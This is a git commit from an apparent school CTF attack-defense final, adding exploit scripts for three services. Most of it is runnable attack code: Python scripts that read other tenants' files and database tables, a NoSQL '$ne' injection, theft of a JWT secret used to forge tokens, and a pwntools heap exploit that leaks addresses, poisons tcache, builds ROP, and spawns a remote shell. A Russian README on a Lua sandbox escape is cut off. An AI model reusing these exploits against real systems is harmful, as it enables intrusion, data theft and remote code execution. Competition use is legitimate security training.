adding validated services? patching forcad_local.py
This commit is contained in:
0
ctfcup2025-school-final/sploits/.gitkeep
Normal file
0
ctfcup2025-school-final/sploits/.gitkeep
Normal file
122
ctfcup2025-school-final/sploits/aws_sigma/01_func_read_fs.py
Normal file
122
ctfcup2025-school-final/sploits/aws_sigma/01_func_read_fs.py
Normal file
@@ -0,0 +1,122 @@
|
||||
# Эксплойт основан на возможности чтения произвольных файлов
|
||||
# через API файловой системы, предоставляемый для пользовательских функций.
|
||||
#
|
||||
# Он позволяет прочитать содержимое вполненных скриптов из других проектов,
|
||||
# включая созданные чекером (и содержащие флаги).
|
||||
|
||||
import sys
|
||||
import uuid
|
||||
|
||||
import requests
|
||||
|
||||
HOST = sys.argv[1]
|
||||
PORT = 3000
|
||||
BASE_URL = f"http://{HOST}:{PORT}/api/v1"
|
||||
|
||||
FUNCTION_CODE = """
|
||||
// SPLOIT
|
||||
|
||||
const projects = fs.readdirSync("/tmp/sigma");
|
||||
const functions = projects.flatMap((project) => {
|
||||
return fs.readdirSync(`/tmp/sigma/${project}`).map((entry) => {
|
||||
return `/tmp/sigma/${project}/${entry}`;
|
||||
});
|
||||
});
|
||||
|
||||
const flags = functions.flatMap((func) => {
|
||||
const text = fs.readFileSync(`${func}/function.js`, "utf-8");
|
||||
|
||||
if(text.includes("SPLOIT")) {
|
||||
return [];
|
||||
}
|
||||
|
||||
return text.split("\\n").filter((line) => line.includes("FLAG_VALUE ="));
|
||||
});
|
||||
|
||||
res
|
||||
.json({
|
||||
flags,
|
||||
});
|
||||
"""
|
||||
|
||||
|
||||
def make_id(prefix):
|
||||
return f"{prefix}-{uuid.uuid4().hex[:8]}"
|
||||
|
||||
|
||||
def main():
|
||||
session = requests.Session()
|
||||
|
||||
username = make_id("user")
|
||||
password = f"Passw0rd!{uuid.uuid4().hex[:6]}"
|
||||
|
||||
print(f"[*] Registering user {username}")
|
||||
response = session.post(
|
||||
f"{BASE_URL}/users",
|
||||
json={"username": username, "password": password},
|
||||
)
|
||||
response.raise_for_status()
|
||||
|
||||
print("[*] Logging in")
|
||||
response = session.post(
|
||||
f"{BASE_URL}/auth/login",
|
||||
data={"username": username, "password": password},
|
||||
)
|
||||
response.raise_for_status()
|
||||
|
||||
login_response = response.json()
|
||||
token = login_response.get("auth_token")
|
||||
if not token:
|
||||
raise RuntimeError("Login response missing auth_token field")
|
||||
headers = {"Authorization": f"Bearer {token}"}
|
||||
|
||||
slug = make_id("proj")
|
||||
project_name = f"Project {slug}"
|
||||
description = "Kekpek"
|
||||
|
||||
print(f"[*] Creating project {project_name} ({slug})")
|
||||
response = session.post(
|
||||
f"{BASE_URL}/projects",
|
||||
headers=headers,
|
||||
json={"name": project_name, "slug": slug, "description": description},
|
||||
)
|
||||
response.raise_for_status()
|
||||
|
||||
project_response = response.json()
|
||||
project_id = project_response.get("_id") or project_response.get("id")
|
||||
project_slug = project_response.get("slug") or slug
|
||||
|
||||
print("[*] Creating function /sploit")
|
||||
response = session.post(
|
||||
f"{BASE_URL}/projects/{project_id}/functions",
|
||||
headers=headers,
|
||||
json={"name": "Sploit", "path": "/sploit"},
|
||||
)
|
||||
response.raise_for_status()
|
||||
|
||||
function_response = response.json()
|
||||
function_id = function_response.get("_id") or function_response.get("id")
|
||||
|
||||
print("[*] Uploading custom code")
|
||||
response = session.put(
|
||||
f"{BASE_URL}/projects/{project_id}/functions/{function_id}",
|
||||
headers=headers,
|
||||
json={"code": FUNCTION_CODE, "methods": ["GET"]},
|
||||
)
|
||||
response.raise_for_status()
|
||||
|
||||
response = requests.get(
|
||||
f"{BASE_URL}/exec/{project_slug}/sploit",
|
||||
)
|
||||
print(f"[+] Execution HTTP {response.status_code}")
|
||||
|
||||
body = response.text.strip()
|
||||
if not body:
|
||||
print("[!] Empty body received")
|
||||
return
|
||||
|
||||
print(body)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
141
ctfcup2025-school-final/sploits/aws_sigma/02_func_access_db.py
Normal file
141
ctfcup2025-school-final/sploits/aws_sigma/02_func_access_db.py
Normal file
@@ -0,0 +1,141 @@
|
||||
# Эксплойт основан на возможности обращения к базе данных из
|
||||
# кода пользовательской функции (и недостаточной проверки запроса).
|
||||
#
|
||||
# Он позволяет прочитать записи в базе, созданные функциями других
|
||||
# проектов, включая созданные чекером (и содержащие флаги).
|
||||
|
||||
import sys
|
||||
import uuid
|
||||
|
||||
import requests
|
||||
|
||||
HOST = sys.argv[1]
|
||||
PORT = 3000
|
||||
BASE_URL = f"http://{HOST}:{PORT}/api/v1"
|
||||
|
||||
FUNCTION_CODE = r"""
|
||||
(async () => {
|
||||
const match = req.path.match(/\/exec\/([^/]+)/i);
|
||||
if (!match) {
|
||||
res.setStatus(500).send("Unable to detect project slug");
|
||||
return;
|
||||
}
|
||||
|
||||
const currentScope = `scope_${match[1]}`;
|
||||
const scopeHint = `/* ${currentScope} */`;
|
||||
|
||||
const tables = await sql.query(`
|
||||
SELECT
|
||||
t.table_name
|
||||
FROM information_schema.tables AS t
|
||||
JOIN pg_catalog.pg_class AS cls
|
||||
ON cls.relname = t.table_name
|
||||
WHERE t.table_schema = 'public'
|
||||
AND t.table_name LIKE 'scope_%'
|
||||
ORDER BY cls.oid DESC
|
||||
LIMIT 500
|
||||
${scopeHint}
|
||||
`);
|
||||
|
||||
const dump = [];
|
||||
for (const row of tables || []) {
|
||||
const table = row.table_name;
|
||||
const creationOrder = row.creation_oid;
|
||||
if (!table) continue;
|
||||
|
||||
try {
|
||||
const rows = await sql.query(
|
||||
`SELECT * FROM "${table}" ORDER BY id DESC ${scopeHint}`
|
||||
);
|
||||
|
||||
dump.push({ table, creationOrder, rows });
|
||||
} catch (error) {
|
||||
dump.push({ table, creationOrder, error: String(error) });
|
||||
}
|
||||
}
|
||||
|
||||
res.json(dump);
|
||||
})();
|
||||
"""
|
||||
|
||||
|
||||
def make_id(prefix):
|
||||
return f"{prefix}-{uuid.uuid4().hex[:8]}"
|
||||
|
||||
|
||||
def main():
|
||||
session = requests.Session()
|
||||
|
||||
username = make_id("user")
|
||||
password = f"Passw0rd!{uuid.uuid4().hex[:6]}"
|
||||
|
||||
print(f"[*] Registering user {username}")
|
||||
response = session.post(
|
||||
f"{BASE_URL}/users",
|
||||
json={"username": username, "password": password},
|
||||
)
|
||||
response.raise_for_status()
|
||||
|
||||
print("[*] Logging in")
|
||||
response = session.post(
|
||||
f"{BASE_URL}/auth/login",
|
||||
data={"username": username, "password": password},
|
||||
)
|
||||
response.raise_for_status()
|
||||
|
||||
login_response = response.json()
|
||||
token = login_response.get("auth_token")
|
||||
if not token:
|
||||
raise RuntimeError("Login response missing auth_token field")
|
||||
headers = {"Authorization": f"Bearer {token}"}
|
||||
|
||||
slug = make_id("proj")
|
||||
project_name = f"Project {slug}"
|
||||
description = "Kekpek"
|
||||
|
||||
print(f"[*] Creating project {project_name} ({slug})")
|
||||
response = session.post(
|
||||
f"{BASE_URL}/projects",
|
||||
headers=headers,
|
||||
json={"name": project_name, "slug": slug, "description": description},
|
||||
)
|
||||
response.raise_for_status()
|
||||
|
||||
project_response = response.json()
|
||||
project_id = project_response.get("_id") or project_response.get("id")
|
||||
project_slug = project_response.get("slug") or slug
|
||||
|
||||
print("[*] Creating function /sploit")
|
||||
response = session.post(
|
||||
f"{BASE_URL}/projects/{project_id}/functions",
|
||||
headers=headers,
|
||||
json={"name": "Sploit", "path": "/sploit"},
|
||||
)
|
||||
response.raise_for_status()
|
||||
|
||||
function_response = response.json()
|
||||
function_id = function_response.get("_id") or function_response.get("id")
|
||||
|
||||
print("[*] Uploading custom code")
|
||||
response = session.put(
|
||||
f"{BASE_URL}/projects/{project_id}/functions/{function_id}",
|
||||
headers=headers,
|
||||
json={"code": FUNCTION_CODE, "methods": ["GET"]},
|
||||
)
|
||||
response.raise_for_status()
|
||||
|
||||
response = requests.get(
|
||||
f"{BASE_URL}/exec/{project_slug}/sploit",
|
||||
)
|
||||
print(f"[+] Execution HTTP {response.status_code}")
|
||||
|
||||
body = response.text.strip()
|
||||
if not body:
|
||||
print("[!] Empty body received")
|
||||
return
|
||||
|
||||
print(body)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
54
ctfcup2025-school-final/sploits/aws_sigma/03_api_nosql.py
Normal file
54
ctfcup2025-school-final/sploits/aws_sigma/03_api_nosql.py
Normal file
@@ -0,0 +1,54 @@
|
||||
# Эксплойт основан на NoSQL инъекции в эндпоинте /api/v1/projects,
|
||||
#
|
||||
# Он позволяет получить данные о чужих проектах, включая описание,
|
||||
# которое содержит флаги.
|
||||
|
||||
import sys
|
||||
import uuid
|
||||
|
||||
import requests
|
||||
|
||||
HOST = sys.argv[1]
|
||||
PORT = 3000
|
||||
BASE_URL = f"http://{HOST}:{PORT}/api/v1"
|
||||
|
||||
|
||||
def make_id(prefix):
|
||||
return f"{prefix}-{uuid.uuid4().hex[:8]}"
|
||||
|
||||
|
||||
def main():
|
||||
session = requests.Session()
|
||||
|
||||
username = make_id("user")
|
||||
password = f"Passw0rd!{uuid.uuid4().hex[:6]}"
|
||||
|
||||
print(f"[*] Registering user {username}")
|
||||
response = session.post(
|
||||
f"{BASE_URL}/users",
|
||||
json={"username": username, "password": password},
|
||||
)
|
||||
response.raise_for_status()
|
||||
|
||||
print("[*] Logging in")
|
||||
response = session.post(
|
||||
f"{BASE_URL}/auth/login",
|
||||
data={"username": username, "password": password},
|
||||
)
|
||||
response.raise_for_status()
|
||||
|
||||
login_response = response.json()
|
||||
token = login_response.get("auth_token")
|
||||
if not token:
|
||||
raise RuntimeError("Login response missing auth_token field")
|
||||
headers = {"Authorization": f"Bearer {token}"}
|
||||
|
||||
projects_response = session.get(
|
||||
f"{BASE_URL}/projects?owner[$ne]={'a' * 24}",
|
||||
headers=headers,
|
||||
)
|
||||
print(projects_response.text)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
131
ctfcup2025-school-final/sploits/aws_sigma/04_api_jwt_nosql.py
Normal file
131
ctfcup2025-school-final/sploits/aws_sigma/04_api_jwt_nosql.py
Normal file
@@ -0,0 +1,131 @@
|
||||
# Эксплойт основан на доступном в файловой системе JWT секрете,
|
||||
# который можно прочитать при помощи пользователской функции.
|
||||
# Этим секретом подписывается токен, содержащий NoSQL инъекцию
|
||||
#
|
||||
# Он позволяет получить данные о чужих проектах, включая описание,
|
||||
# которое содержит флаги.
|
||||
|
||||
import sys
|
||||
import uuid
|
||||
from datetime import datetime, timedelta, UTC
|
||||
|
||||
import jwt
|
||||
import requests
|
||||
|
||||
HOST = sys.argv[1]
|
||||
PORT = 3000
|
||||
BASE_URL = f"http://{HOST}:{PORT}/api/v1"
|
||||
|
||||
FUNCTION_CODE = """
|
||||
res.json(fs.readFileSync("/etc/sigma/jwt.secret", "utf-8"));
|
||||
"""
|
||||
|
||||
|
||||
def make_id(prefix):
|
||||
return f"{prefix}-{uuid.uuid4().hex[:8]}"
|
||||
|
||||
|
||||
def read_secret(
|
||||
session: requests.Session,
|
||||
headers: dict,
|
||||
) -> dict:
|
||||
slug = make_id("proj")
|
||||
project_name = f"Project {slug}"
|
||||
|
||||
print(f"[*] Creating project {project_name} ({slug}) for FS read")
|
||||
response = session.post(
|
||||
f"{BASE_URL}/projects",
|
||||
headers=headers,
|
||||
json={"name": project_name, "slug": slug, "description": "FS reader"},
|
||||
)
|
||||
response.raise_for_status()
|
||||
|
||||
project_response = response.json()
|
||||
project_id = project_response.get("_id") or project_response.get("id")
|
||||
project_slug = project_response.get("slug") or slug
|
||||
|
||||
print("[*] Creating helper function /sploit")
|
||||
response = session.post(
|
||||
f"{BASE_URL}/projects/{project_id}/functions",
|
||||
headers=headers,
|
||||
json={"name": "Sploit", "path": "/sploit"},
|
||||
)
|
||||
response.raise_for_status()
|
||||
|
||||
function_response = response.json()
|
||||
function_id = function_response.get("_id") or function_response.get("id")
|
||||
|
||||
print("[*] Uploading sploit code")
|
||||
response = session.put(
|
||||
f"{BASE_URL}/projects/{project_id}/functions/{function_id}",
|
||||
headers=headers,
|
||||
json={"code": FUNCTION_CODE, "methods": ["GET"]},
|
||||
)
|
||||
response.raise_for_status()
|
||||
|
||||
exec_url = f"{BASE_URL}/exec/{project_slug}/sploit"
|
||||
print(f"[*] Executing sploit function at {exec_url}")
|
||||
response = session.get(exec_url)
|
||||
response.raise_for_status()
|
||||
|
||||
return response.json().strip()
|
||||
|
||||
|
||||
def forge_jwt(secret):
|
||||
payload = {
|
||||
"sub": {
|
||||
"$ne": None,
|
||||
},
|
||||
"username": {
|
||||
"$ne": None,
|
||||
},
|
||||
"iat": datetime.now(UTC),
|
||||
"exp": datetime.now(UTC) + timedelta(days=1),
|
||||
}
|
||||
|
||||
return jwt.encode(payload, secret, algorithm="HS256")
|
||||
|
||||
|
||||
def main():
|
||||
session = requests.Session()
|
||||
|
||||
username = make_id("user")
|
||||
password = f"Passw0rd!{uuid.uuid4().hex[:6]}"
|
||||
|
||||
print(f"[*] Registering user {username}")
|
||||
response = session.post(
|
||||
f"{BASE_URL}/users",
|
||||
json={"username": username, "password": password},
|
||||
)
|
||||
response.raise_for_status()
|
||||
|
||||
print("[*] Logging in")
|
||||
response = session.post(
|
||||
f"{BASE_URL}/auth/login",
|
||||
data={"username": username, "password": password},
|
||||
)
|
||||
response.raise_for_status()
|
||||
|
||||
login_response = response.json()
|
||||
token = login_response.get("auth_token")
|
||||
if not token:
|
||||
raise RuntimeError("Login response missing auth_token field")
|
||||
headers = {"Authorization": f"Bearer {token}"}
|
||||
|
||||
secret = read_secret(session, headers)
|
||||
print(f"[+] Retrieved JWT secret: {secret}")
|
||||
|
||||
forged_token = forge_jwt(secret)
|
||||
forged_headers = {"Authorization": f"Bearer {forged_token}"}
|
||||
print(forged_headers)
|
||||
|
||||
print("[*] Fetching projects with forged token")
|
||||
projects_response = session.get(
|
||||
f"{BASE_URL}/projects",
|
||||
headers=forged_headers,
|
||||
)
|
||||
print(projects_response.text)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,6 @@
|
||||
certifi==2025.11.12
|
||||
charset-normalizer==3.4.4
|
||||
idna==3.11
|
||||
PyJWT==2.10.1
|
||||
requests==2.32.5
|
||||
urllib3==2.6.0
|
||||
378
ctfcup2025-school-final/sploits/grob/exploit.py
Normal file
378
ctfcup2025-school-final/sploits/grob/exploit.py
Normal file
@@ -0,0 +1,378 @@
|
||||
from sys import argv
|
||||
from io import StringIO
|
||||
|
||||
from pwn import *
|
||||
from Crypto.Cipher import ARC4
|
||||
import chess
|
||||
import chess.pgn
|
||||
from threading import Thread
|
||||
|
||||
context.log_level = 'warn'
|
||||
exe = context.binary = ELF('grob')
|
||||
|
||||
HOST = argv[1]
|
||||
PORT = 11331
|
||||
|
||||
def u128(n, *args, **kwargs):
|
||||
return unpack(n, *args, word_size=128, **kwargs)
|
||||
|
||||
def p128(n, *args, **kwargs):
|
||||
return pack(n, *args, word_size=128, **kwargs)
|
||||
|
||||
class arc4tube(remote):
|
||||
MODULO = (1 << 128) - 159
|
||||
|
||||
def __init__(self, *a, **kw):
|
||||
super().__init__(*a, **kw)
|
||||
|
||||
priv = u128(random.randbytes(16))
|
||||
pub = pow(5, priv, self.MODULO)
|
||||
|
||||
server_pub = u128(self.recvn(16))
|
||||
self.send(p128(pub))
|
||||
|
||||
cph = ARC4.new(p128(pow(server_pub, priv, self.MODULO)))
|
||||
|
||||
self.recv_raw = lambda *a, **kw: cph.encrypt(data) if (data := super(arc4tube, self).recv_raw(*a, **kw)) else b''
|
||||
self.send_raw = lambda data, *a, **kw: super(arc4tube, self).send_raw(data and cph.encrypt(data), *a, **kw)
|
||||
|
||||
def recvn_plain(self, n):
|
||||
self.recv_raw = super(arc4tube, self).recv_raw
|
||||
return super().recvn(n)
|
||||
|
||||
def send_plain(self, d):
|
||||
self.recv_raw = super(arc4tube, self).recv_raw
|
||||
self.send_raw = super(arc4tube, self).send_raw
|
||||
return super().send(d)
|
||||
|
||||
|
||||
def enter_room(io1, io2):
|
||||
room_pass = room_code = randoms(16).upper().encode()
|
||||
|
||||
io1.send(p8(1) + room_code)
|
||||
assert io1.recvn(1) == p8(0)
|
||||
sleep(.1 / 2)
|
||||
io2.send(p8(1) + room_code)
|
||||
assert io2.recvn(1) == p8(0)
|
||||
|
||||
io1.send(room_pass)
|
||||
assert io1.recvn(1) == p8(0)
|
||||
return room_code
|
||||
|
||||
def start():
|
||||
return arc4tube(HOST, PORT)
|
||||
|
||||
def pgn_iter(pgn):
|
||||
pgn = chess.pgn.read_game(StringIO(pgn))
|
||||
board = chess.Board()
|
||||
for move in pgn.mainline_moves():
|
||||
from_sq = move.from_square
|
||||
to_sq = move.to_square
|
||||
|
||||
row_from = 7 - (from_sq // 8)
|
||||
col_from = from_sq % 8
|
||||
row_to = 7 - (to_sq // 8)
|
||||
col_to = to_sq % 8
|
||||
|
||||
yield (row_from, col_from, row_to, col_to, 0, 0)
|
||||
board.push(move)
|
||||
|
||||
|
||||
def guess_byte(offset, byte, set_color):
|
||||
with start() as io1, start() as io2:
|
||||
enter_room(io1, io2)
|
||||
|
||||
color = u8(io1.recvn(1))
|
||||
io2.recvn(1)
|
||||
|
||||
if not color:
|
||||
io1, io2 = io2, io1
|
||||
|
||||
base = list(pgn_iter('1. a4 h5 2. a5 h4 3. a6 h3 4. axb7 hxg2'))
|
||||
if set_color:
|
||||
base += [(1, 1, offset // 8, offset % 8, 1, byte)] # bxa8=
|
||||
else:
|
||||
base += [(6, 1, 5, 1, 0, 0)] # b3
|
||||
base += [(6, 6, offset // 8, offset % 8, 1, byte)] # gxh1=
|
||||
|
||||
order = True
|
||||
for cord in base:
|
||||
p = flat([0, *cord], word_size=8)
|
||||
if order:
|
||||
io1.send(p)
|
||||
assert u8(io1.recvn(1)) == 0
|
||||
io2.recvn(7)
|
||||
else:
|
||||
io2.send(p)
|
||||
assert u8(io2.recvn(1)) == 0
|
||||
io1.recvn(7)
|
||||
order = not order
|
||||
|
||||
|
||||
def leak_pie():
|
||||
"""Just a linear PIE address bruteforce (history->vtable)"""
|
||||
addr = bytearray(p64(0))
|
||||
addr[0] = exe.sym['_IO_file_jumps'] & 0xff
|
||||
|
||||
def brute_byte(i):
|
||||
context.log_level = 'warn'
|
||||
rng_args = (exe.sym['_IO_file_jumps'] >> 8 & 0xf, 0x100, 0x10) if i == 1 else (0x100,)
|
||||
for b in range(*rng_args):
|
||||
try:
|
||||
guess_byte(296 + i, b, 1)
|
||||
except EOFError:
|
||||
continue
|
||||
except AssertionError:
|
||||
try:
|
||||
guess_byte(296 + i, b, 0)
|
||||
except EOFError:
|
||||
continue
|
||||
|
||||
addr[i] = b
|
||||
break
|
||||
else:
|
||||
raise Exception('Bad PIE leak')
|
||||
|
||||
tds = {}
|
||||
for i in range(1, 6):
|
||||
tds[i] = Thread(target=brute_byte, args=(i,))
|
||||
tds[i].start()
|
||||
|
||||
for i in range(1, 6):
|
||||
tds[i].join()
|
||||
|
||||
return u64(addr)
|
||||
|
||||
|
||||
def leak_heap():
|
||||
"""Just a linear heap address bruteforce (history->_IO_write_ptr)"""
|
||||
addr = bytearray(p64(0))
|
||||
|
||||
def brute_byte(i):
|
||||
context.log_level = 'warn'
|
||||
rng_args = (0, 0x100, 0x10) if i == 1 else (0x100,)
|
||||
for b in range(*rng_args):
|
||||
try:
|
||||
guess_byte(120 + i, b, 1)
|
||||
except EOFError:
|
||||
continue
|
||||
except AssertionError:
|
||||
try:
|
||||
guess_byte(120 + i, b, 0)
|
||||
except EOFError:
|
||||
continue
|
||||
|
||||
addr[i] = b
|
||||
break
|
||||
else:
|
||||
raise Exception('Bad heap leak')
|
||||
|
||||
tds = {}
|
||||
for i in range(1, 6):
|
||||
tds[i] = Thread(target=brute_byte, args=(i,))
|
||||
tds[i].start()
|
||||
|
||||
for i in range(1, 6):
|
||||
tds[i].join()
|
||||
|
||||
return u64(addr)
|
||||
|
||||
|
||||
def leak_stack(heap_base):
|
||||
"""Leaks stack via history _IO_FILE structure (controllable by arb allocation),
|
||||
assumes that PIE already leaked. I know it also can be leaked with heap primitives only"""
|
||||
|
||||
with start() as io1, start() as io2:
|
||||
enter_room(io1, io2)
|
||||
|
||||
color = u8(io1.recvn(1))
|
||||
io2.recvn(1)
|
||||
|
||||
if not color:
|
||||
io1, io2 = io2, io1
|
||||
|
||||
# Allocate 2 chunks with 2 messages
|
||||
for _ in range(2):
|
||||
io2.send(flat([p8(1), p16(0x100), cyclic(0x100)]))
|
||||
assert u8(io2.recvn(1)) == 0
|
||||
|
||||
# Free allocated chunks
|
||||
io1.send(p8(2))
|
||||
msg_cnt = u8(io1.recvn(1))
|
||||
for _ in range(msg_cnt):
|
||||
msg_len = u16(io1.recvn(2))
|
||||
io1.recvn(msg_len)
|
||||
|
||||
# Some PPC here, writing qword in `tcache_entry->next` with chess moves...
|
||||
offset = 0x230
|
||||
old_value = p64((heap_base + 0x1a70) ^ ((heap_base >> 12) + 1))[:-2]
|
||||
value = p64((heap_base + 0x1760) ^ ((heap_base >> 12) + 1))[:-2]
|
||||
|
||||
base = list(pgn_iter('''
|
||||
1. e4 f5 2. Ke2 Kf7 3. Kf3 Kg6 4. Kg3 Kh6 5. Kh3 a5 6. b4 a4 7. b5 a3 8. b6 Ra7 9. bxa7 b5 10. Bb2 axb2
|
||||
11. a4 b4 12. a5 b3 13. a6 Bb7 14. axb7 c5 15. Ra2 bxa2 16. d4 c4 17. d5 c3 18. d6 Qc7 19. dxc7 d5 20. Nd2 cxd2
|
||||
21. c4 d4 22. c5 d3 23. c6 Nd7 24. Qc2 dxc2 25. cxd7 f4 26. e5 f3 27. e6 Nf6 28. Be2 fxe2 29. f4 Ne4 30. f5 Nd6
|
||||
31. f6 Nf7 32. exf7 e5 33. Nf3 e4 34. Ne5 e3 35. Nd3 Be7 36. Nf2 exf2 37. fxe7
|
||||
'''))
|
||||
|
||||
order = False
|
||||
pos = ([(6, i) for i in range(6)], [(1, i) for i in range(6)])
|
||||
for i, b in enumerate(value):
|
||||
if ((old_value[i] & 0xf0) >> 4) == int(order):
|
||||
base += [(*pos[int(order)][i], 0, 0, 1, 0x20)]
|
||||
base += [(*pos[int(not order)][i], offset // 8, offset % 8, 1, b)]
|
||||
else:
|
||||
base += [(*pos[int(order)][i], offset // 8, offset % 8, 1, b)]
|
||||
order = not order
|
||||
|
||||
offset += 1
|
||||
|
||||
order = True
|
||||
for cord in base:
|
||||
p = flat([0, *cord], word_size=8)
|
||||
if order:
|
||||
io1.send(p)
|
||||
assert u8(io1.recvn(1)) == 0
|
||||
io2.recvn(7)
|
||||
else:
|
||||
io2.send(p)
|
||||
assert u8(io2.recvn(1)) == 0
|
||||
io1.recvn(7)
|
||||
order = not order
|
||||
|
||||
# Clear top tcache bin chunk
|
||||
io2.send(flat([p8(1), p16(0x100), cyclic(0x100)]))
|
||||
io2.recvn(1)
|
||||
|
||||
# Allocate on _IO_FILE (we alse may want to leak by 2 bytes at time
|
||||
# to prevent net filtration by stack addr)
|
||||
fs = FileStructure()
|
||||
fs.flags = 0x0002 | 0x0800
|
||||
fs.fileno = 6 if color else 4
|
||||
fs._lock = heap_base
|
||||
fs._IO_read_end = fs._IO_write_base = exe.sym['environ']
|
||||
fs._IO_write_end = fs._IO_write_ptr = fs._IO_write_base + 0x6
|
||||
fs.vtable = exe.sym['_IO_file_jumps']
|
||||
|
||||
io2.send(flat([p8(1), p16(0x100), {
|
||||
4: bytes(fs),
|
||||
0x100: b''
|
||||
}]))
|
||||
return u64(io2.recvn_plain(6) + p16(0))
|
||||
|
||||
|
||||
def alloc_on_stack_and_rop(heap_base, retaddr):
|
||||
"""Same as `leak_stack` but on allocates on stack now"""
|
||||
|
||||
with start() as io1, start() as io2:
|
||||
enter_room(io1, io2)
|
||||
|
||||
color = u8(io1.recvn(1))
|
||||
io2.recvn(1)
|
||||
|
||||
if not color:
|
||||
io1, io2 = io2, io1
|
||||
|
||||
# Allocate 2 chunks with 2 messages
|
||||
for _ in range(2):
|
||||
io2.send(flat([p8(1), p16(0xa0), cyclic(0xa0)]))
|
||||
io2.recvn(1)
|
||||
|
||||
# Free allocated chunks
|
||||
io1.send(p8(2))
|
||||
msg_cnt = u8(io1.recvn(1))
|
||||
for _ in range(msg_cnt):
|
||||
msg_len = u16(io1.recvn(2))
|
||||
io1.recvn(msg_len)
|
||||
|
||||
# Some PPC here, writing qword in `tcache_entry->next` with chess moves...
|
||||
offset = 0x230
|
||||
old_value = p64((heap_base + 0x1a70) ^ ((heap_base >> 12) + 1))[:-2]
|
||||
value = p64(retaddr ^ ((heap_base >> 12) + 1))[:-2]
|
||||
|
||||
base = list(pgn_iter('''
|
||||
1. e4 f5 2. Ke2 Kf7 3. Kf3 Kg6 4. Kg3 Kh6 5. Kh3 a5 6. b4 a4 7. b5 a3 8. b6 Ra7 9. bxa7 b5 10. Bb2 axb2
|
||||
11. a4 b4 12. a5 b3 13. a6 Bb7 14. axb7 c5 15. Ra2 bxa2 16. d4 c4 17. d5 c3 18. d6 Qc7 19. dxc7 d5 20. Nd2 cxd2
|
||||
21. c4 d4 22. c5 d3 23. c6 Nd7 24. Qc2 dxc2 25. cxd7 f4 26. e5 f3 27. e6 Nf6 28. Be2 fxe2 29. f4 Ne4 30. f5 Nd6
|
||||
31. f6 Nf7 32. exf7 e5 33. Nf3 e4 34. Ne5 e3 35. Nd3 Be7 36. Nf2 exf2 37. fxe7
|
||||
'''))
|
||||
|
||||
order = False
|
||||
pos = ([(6, i) for i in range(6)], [(1, i) for i in range(6)])
|
||||
for i, b in enumerate(value):
|
||||
if ((old_value[i] & 0xf0) >> 4) == int(order):
|
||||
base += [(*pos[int(order)][i], 0, 0, 1, 0x20)]
|
||||
base += [(*pos[int(not order)][i], offset // 8, offset % 8, 1, b)]
|
||||
else:
|
||||
base += [(*pos[int(order)][i], offset // 8, offset % 8, 1, b)]
|
||||
order = not order
|
||||
|
||||
offset += 1
|
||||
|
||||
order = True
|
||||
for cord in base:
|
||||
p = flat([0, *cord], word_size=8)
|
||||
if order:
|
||||
io1.send(p)
|
||||
assert u8(io1.recvn(1)) == 0
|
||||
io2.recvn(7)
|
||||
else:
|
||||
io2.send(p)
|
||||
assert u8(io2.recvn(1)) == 0
|
||||
io1.recvn(7)
|
||||
order = not order
|
||||
|
||||
# Clear top tcache bin chunk
|
||||
io2.send(flat([p8(1), p16(0xa0), cyclic(0xa0)]))
|
||||
io2.recvn(1)
|
||||
|
||||
# ROP
|
||||
fd = 6 if color else 4
|
||||
rop = ROP(exe)
|
||||
rop.call('mprotect', [heap_base, 0x1000, 7])
|
||||
rop.call('read', [fd, heap_base, 0xa0])
|
||||
rop.call(heap_base)
|
||||
|
||||
io2.send(flat([p8(1), p16(0xa0), {
|
||||
4 + 8: [
|
||||
bytes(rop)
|
||||
],
|
||||
0xa0: b''
|
||||
}]))
|
||||
io2.send_plain(
|
||||
asm(shellcraft.dup2(fd, 0))
|
||||
+ asm(shellcraft.dup2(fd, 1))
|
||||
+ asm(shellcraft.sh())
|
||||
)
|
||||
io2.interactive()
|
||||
|
||||
|
||||
def pwn():
|
||||
def leak_pie_thread():
|
||||
exe.address = leak_pie() - exe.sym['_IO_file_jumps']
|
||||
|
||||
def leak_heap_thread():
|
||||
global HEAP_BASE
|
||||
HEAP_BASE = leak_heap()
|
||||
|
||||
td1 = Thread(target=leak_pie_thread)
|
||||
td1.start()
|
||||
td2 = Thread(target=leak_heap_thread)
|
||||
td2.start()
|
||||
td1.join()
|
||||
td2.join()
|
||||
|
||||
# In A/D we really want to cache leaks
|
||||
|
||||
global HEAP_BASE
|
||||
try:
|
||||
STACK_ADDR = leak_stack(HEAP_BASE)
|
||||
except EOFError:
|
||||
HEAP_BASE -= 0x1000 # handle case of 0xf000 heap layout (cuz _IO_FILE at more than page size offset)
|
||||
STACK_ADDR = leak_stack(HEAP_BASE)
|
||||
|
||||
retaddr = STACK_ADDR - 0x4e0 - 0x18
|
||||
alloc_on_stack_and_rop(HEAP_BASE, retaddr)
|
||||
|
||||
if __name__ == '__main__':
|
||||
pwn()
|
||||
BIN
ctfcup2025-school-final/sploits/grob/writeup.pdf
Normal file
BIN
ctfcup2025-school-final/sploits/grob/writeup.pdf
Normal file
Binary file not shown.
54
ctfcup2025-school-final/sploits/sonobank/README.md
Normal file
54
ctfcup2025-school-final/sploits/sonobank/README.md
Normal file
@@ -0,0 +1,54 @@
|
||||
# Sonobank: описание, уязвимости + PoCs, харденинг
|
||||
|
||||
## Что за сервис
|
||||
UDP‑сервис, говорящий на SysEx‑фреймах (опкоды 0x01–0x05). Основные операции:
|
||||
- `Diag` — проверка живости.
|
||||
- `Put` — принимает Lua DSP‑скрипт, шифрует и сохраняет как патч (`patch_id`, приватный ключ выдаётся в ответе).
|
||||
- `Get` — возвращает публичный ключ и шифротекст патча по `patch_id`.
|
||||
- `RenderHash` — расшифровывает Lua и вызывает `sample()`, хешируя значения.
|
||||
- `GetCryptoParams` — отдаёт параметры группы.
|
||||
|
||||
Патчи лежат на диске как `data/<uuid>.pb` в TLV‑формате: k, c1, ct, iv, End.
|
||||
|
||||
## Уязвимость 1: Lua не песочница, утечки через RenderHash
|
||||
- `lua-sandbox::render_hash` создаёт полноценный Lua без ограничения stdlib; доступны `io.open`, `os`, и т.п.
|
||||
- Ошибки из Lua пробрасываются в ответ `RenderHash` (server возвращает `Error("Couldn't compute hash: <сообщение>")`).
|
||||
- Итог: любой может загружать произвольный Lua и читать локальные файлы, затем вернуть их содержимое через `error()`.
|
||||
|
||||
### Эксплуатация (PoC `lua_poc.py`)
|
||||
